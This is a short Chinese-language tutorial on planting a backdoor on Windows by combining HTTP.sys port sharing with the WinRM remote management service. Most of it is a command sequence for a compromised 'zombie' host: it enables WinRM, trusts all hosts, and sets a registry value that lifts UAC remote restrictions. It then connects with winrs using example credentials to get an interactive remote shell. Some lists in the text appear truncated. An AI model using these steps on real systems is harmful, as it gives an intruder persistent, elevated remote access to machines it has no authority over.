利用http.sys端口复用实现后门
原理
这个后门的基本原理是用Windows
的远程管理管理服务WinRM
配合http.sys
端口复用的特性实现正向连接的后门
http.sys
HTTP.sys是仅在Windows上运行的ASP.NET Core的web服务器。HTTP.sys是Kestrel服务器的替代品,它提供了Kestrel没有提供的一些功能。
http.sys
支持的系统
1
|
1. Windows 7 or later
|
HTTP.sys
支持以下特性:
1
|
1. Windows Authentication
|
其中Port sharing
就是我们要利用http.sys
的特性之一端口复用,所有基于HTTP.sys
驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可,使用netsh http show servicestate
命令可以查看所有在HTTP.sys
上注册过的url前缀。
开启WinRM
服务
Windows Server 2012
及以上默认是开启WinRM
服务的Windows Server 2008 R
- 需要
winrm quickconfig -q
来启动WinRM
服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的
//肉机上面快速启动winrm服务,并绑定到5985端口:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
netstat -ano|find "5985"
//客户端连接方式:
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd //交互式shell
//UAC问题,修改后,普通管理员登录后也是高权限:
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"